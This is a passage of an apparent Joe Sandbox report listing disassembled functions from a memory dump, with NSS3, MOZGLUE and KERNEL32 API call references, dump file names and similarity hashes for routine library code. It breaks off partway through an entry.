Function 6CC524E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CC2C154,000000FF,00000000,00000000,00000000,00000000,?,?,6CC2C154,?), ref: 6CC524FA
PORT_Alloc_Util.NSS3(00000000,?,6CC2C154,?), ref: 6CC52509

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6CC52525
free.MOZGLUE(00000000), ref: 6CC52532

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 1949e477226f29f70fa2b15bbfb7670020fca202b36f3bddb644a4053450aa69
Instruction ID: 85339180f16cfe309eef40a4c27c07cc7f60b415aefbc4741b4757933d0da73e
Opcode Fuzzy Hash: 1949e477226f29f70fa2b15bbfb7670020fca202b36f3bddb644a4053450aa69
Instruction Fuzzy Hash: E6F096B270612537FA10297A5C59E7739ECDB416FCB940231BE28C66C4E950C82181F5

Function 6CD00660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CD07B1B,?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD00670

Part of subcall function 6CCB9EA0: DeleteCriticalSection.KERNEL32(?), ref: 6CCB9EAA

free.MOZGLUE(?,00000000,00000000,?,?,6CD07B1B,?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD00696
free.MOZGLUE(00000004,6CD07B1B,?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD006C7
free.MOZGLUE(?,00000000,00000000,?,?,6CD07B1B,?,?,?,?,?,?,?,?,?,6CD0798A), ref: 6CD006E9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: d993412373c990952f4b235bb20b3fd5472308d0a8c2f292679033a1f96c4f7c
Instruction ID: e37a65f44ae2c644324121743e2a965fc3245fd8c4325ab88b78cc30965a3d04
Opcode Fuzzy Hash: d993412373c990952f4b235bb20b3fd5472308d0a8c2f292679033a1f96c4f7c
Instruction Fuzzy Hash: AB1169F4741241AFFF00DF19C895B0677BDEB86388F884525E605876A0D771E809CBA9

Function 6CC44760 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,6CC37A47,?), ref: 6CC4477E

Part of subcall function 6CC44470: TlsGetValue.KERNEL32(00000000,?,6CC07296,00000000), ref: 6CC44487
Part of subcall function 6CC44470: EnterCriticalSection.KERNEL32(?,?,?,6CC07296,00000000), ref: 6CC444A0
Part of subcall function 6CC44470: PR_Unlock.NSS3(?,?,?,?,6CC07296,00000000), ref: 6CC444BB

TlsGetValue.KERNEL32(00000000,?,6CC37A47,?), ref: 6CC4478E
EnterCriticalSection.KERNEL32(?,?,?,6CC37A47,?), ref: 6CC447A3
PR_Unlock.NSS3(?,?,?,?,6CC37A47,?), ref: 6CC447B8

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$DestroyModule
String ID:
API String ID: 342238404-0
Opcode ID: 0ea0448e7fed1c49ca58b6a03c9d99cec057c7ade4d5319d19f6f6de277095f8
Instruction ID: 8933539b11639e3f3b2b2731419d373b7bfddf650c5945c2e7735cb129130fa8
Opcode Fuzzy Hash: 0ea0448e7fed1c49ca58b6a03c9d99cec057c7ade4d5319d19f6f6de277095f8
Instruction Fuzzy Hash: FE018EB1A046018BEB00AF79C044569BBF8FF46258F14C929D98487B11FB30D498CF92

Function 6CC9AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC2D

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_FreeSymKey.NSS3(?,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC85D40,00000000,?,?,6CC76AC6,6CC8639C), ref: 6CC9AC59
free.MOZGLUE(8CB6FF01,6CC76AC6,6CC8639C,?,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC9AC62

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction ID: 48ab10c755c5131bdf7f8bea40af0b3397d6cd05277e130d9b466a797a35735b
Opcode Fuzzy Hash: 23dda2436ed57c01807162af50ef1815ae917db2b9cc215df8c5f3694eee3b7f
Instruction Fuzzy Hash: D5014BB5A006109FDF00DF55E8C0B467BA8AF84B5DF1880A8E9498F706E731E948CBA1

Function 6CC80450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6CC84710,?,000F4240,00000000), ref: 6CC8046B
GetLastError.KERNEL32(?,6CC84710,?,000F4240,00000000), ref: 6CC80479

Part of subcall function 6CC9BF80: TlsGetValue.KERNEL32(00000000,?,6CC8461B,-00000004), ref: 6CC9C244

PR_Unlock.NSS3(40C70845,?,6CC84710,?,000F4240,00000000), ref: 6CC80492
PR_SetError.NSS3(FFFFE89D,00000000,?,6CC84710,?,000F4240,00000000), ref: 6CC804A5

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 3336ce938d2937136e966b693b114082814284de176a36e4e39695140edb8999
Instruction ID: 7b1934e64458cfd384036be3e15380e859735a97d8b3d841761fc2607401cf9d
Opcode Fuzzy Hash: 3336ce938d2937136e966b693b114082814284de176a36e4e39695140edb8999
Instruction Fuzzy Hash: E9F02470B436446BEB00AFB59C18B1B3AACAB8120DF048070E90AC7EA1FA21E0148521

Function 6CC187E0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CC187EA
PK11_DestroyTokenObject.NSS3(?,00000000), ref: 6CC18809
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC18818
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC18821

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Destroy$K11_Private$CertCertificateFromObjectToken
String ID:
API String ID: 3228624125-0
Opcode ID: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction ID: 97ed91cd9fa73bfef69c700d8f981d13dedfb6ae439442627cddda68116b36e9
Opcode Fuzzy Hash: ac916d6c03ed572d4810efe894036a746260e874c6db0241746666bb94f464c0
Instruction Fuzzy Hash: 11E0E5B7D092247BE6021A66BC40E8F361D8B8567CF094231ED095AB42F726DD1DC7F1

Function 6CD0CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC61
free.MOZGLUE ref: 6CD0CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CD0CC80
free.MOZGLUE(?), ref: 6CD0CC87

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction ID: b5262a21c24caf35710288f6ba22dfefb2bdcbe1a710908c34023428f7035837
Opcode Fuzzy Hash: a1ed62d0cc51c02f721417702d2ca016904db78f66aab8cbf09f3e6e66ed89e3
Instruction Fuzzy Hash: D3E030767006089BDA10EFA8DC8489677ACEE892743154525E791C3700D231F905CBA1

Function 6CCBA8DC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6CCBA8EE
GetCurrentThreadId.KERNEL32 ref: 6CCBA8FD
GetCurrentProcessId.KERNEL32 ref: 6CCBA906
QueryPerformanceCounter.KERNEL32(?), ref: 6CCBA913

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 948845bc7055d7937cf12d4f9da0466e923d0b940df4483e96c1f41ad1e18f36
Instruction ID: 1de1c83d4935432fd392003ad5f6c4d1881a9636f4c923d322a67b13ef5878e0
Opcode Fuzzy Hash: 948845bc7055d7937cf12d4f9da0466e923d0b940df4483e96c1f41ad1e18f36
Instruction Fuzzy Hash: 09F05F71E10209EBDF00EFB4C689A9EBBF8EF58215F5188959612E7140DB34AB08DF51

Function 6CC44D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC44D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CC44DE6

Strings

%d.%d, xrefs: 6CC44DDE

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction ID: 0a3903c5670e96c60cea776fe790fba530ed3b698be70f3dc5a32aeb26e5457a
Opcode Fuzzy Hash: 6e357c819662ef69ff47ff137aec8ab305eaec5197832330e35a7b1fcecd8209
Instruction Fuzzy Hash: 1331F8B2D002186BEB109FA1DC01BFF7768EF40308F118469ED199B781FB709905CBA1

Function 6CCBA4DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,6CCBA5E6,0000001C,6CCBA59B,00000000,?,?,?,?,?,?,?,6CCBA5E6,00000004,6CD50D7C,6CCBA632), ref: 6CCBA4ED
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,6CCBA5E6,00000004,6CD50D7C,6CCBA632), ref: 6CCBA508

Strings

D, xrefs: 6CCBA4FC

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 30519152b98e2ec42f153e1ebf868934db742149d459335f6ba1f0e9e5b7bb4a
Instruction ID: e9be22f7dd1e9b5a12bb82dc1275217e2d48618d4543d416bde6f10b6fac38f3
Opcode Fuzzy Hash: 30519152b98e2ec42f153e1ebf868934db742149d459335f6ba1f0e9e5b7bb4a
Instruction Fuzzy Hash: EF01A772700519ABDF04EE65DC05BDE7BB9ABC4328F1DC225ED59E7144EA34DA058A80

Function 6CC8AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CC8AF78

Part of subcall function 6CBEACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBEACE2
Part of subcall function 6CBEACC0: malloc.MOZGLUE(00000001), ref: 6CBEACEC
Part of subcall function 6CBEACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBEAD02
Part of subcall function 6CBEACC0: TlsGetValue.KERNEL32 ref: 6CBEAD3C
Part of subcall function 6CBEACC0: calloc.MOZGLUE(00000001,?), ref: 6CBEAD8C
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEADC0
Part of subcall function 6CBEACC0: PR_Unlock.NSS3 ref: 6CBEAE8C
Part of subcall function 6CBEACC0: free.MOZGLUE(?), ref: 6CBEAEAB

memcpy.VCRUNTIME140(6CD53084,6CD502AC,00000090), ref: 6CC8AF94

Strings

SSL, xrefs: 6CC8AF73

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction ID: b09a2673221f50619ef4f90996abb40ee63dd08972c431e95f53cc143f060460
Opcode Fuzzy Hash: 5cb993ad6deb97a1fb47e10da437e55ae5fc04e8bd02b2e2df8648feee155c91
Instruction Fuzzy Hash: A82149B2306B48ABEA41DF59A963317BE78B34269C790560CD3084BF76E73180589FD5

Function 6CBE0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B

Part of subcall function 6CBE1370: GetSystemInfo.KERNEL32(?,?,?,?,6CBE0936,?,6CBE0F20,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000), ref: 6CBE138F

PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

Part of subcall function 6CBE1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1130
Part of subcall function 6CBE1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001,00000040), ref: 6CBE1142
Part of subcall function 6CBE1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBE0936,00000001), ref: 6CBE1167

Strings

clock, xrefs: 6CBE0F20

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction ID: 235960a939becea54e0113fb66f5c9295479f094222fff26b2697e2aaca824be
Opcode Fuzzy Hash: 4da17e3c687bddb82a4c9aa309d017c2b7da1155f437d09fdfb803ced597d1a1
Instruction Fuzzy Hash: D0D0223120018422E200235BDC44B9FB2BCCBC7AFEF240826E20841E128B2880DED2B6

Function 6CC50DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CC50DF5
TlsGetValue.KERNEL32 ref: 6CC50E2D
TlsGetValue.KERNEL32 ref: 6CC50E58
TlsGetValue.KERNEL32 ref: 6CC50E84

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction ID: f807877e55f34c6a8376a1947daed0ea489fe5a6b93bfeb04be5b7f04b03a7a1
Opcode Fuzzy Hash: 07beb6ce9d0fd0e7da85e2e5b03d1e27cc06c5d6b5d06b46c0d05ff9dd30a3a0
Instruction Fuzzy Hash: F531A0707457808BEB106F7DC58526977B8BF4A34CFA1462DD9C8C7A11EBB084B9CA86

Function 6CBAA4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6CBAA468,00000000), ref: 6CBAA4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6CBAA468,00000000), ref: 6CBAA51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBAA468,?,6CBAA468,00000000), ref: 6CBAA545
memcpy.VCRUNTIME140(00000001,6CBAA468,00000001,?,?,?,6CBAA468,00000000), ref: 6CBAA57D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 02cc0b440093fd522fbbea209d50c70fe8e529d65b39310e57b82b0c1312168c
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 371124B3E0425557DB009EF9DCC16AF7799DF95268F280234EDA487780F2359D098AF1

Function 6CC50F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
malloc.MOZGLUE(00000001), ref: 6CC50F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42
TlsGetValue.KERNEL32 ref: 6CC50F5B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
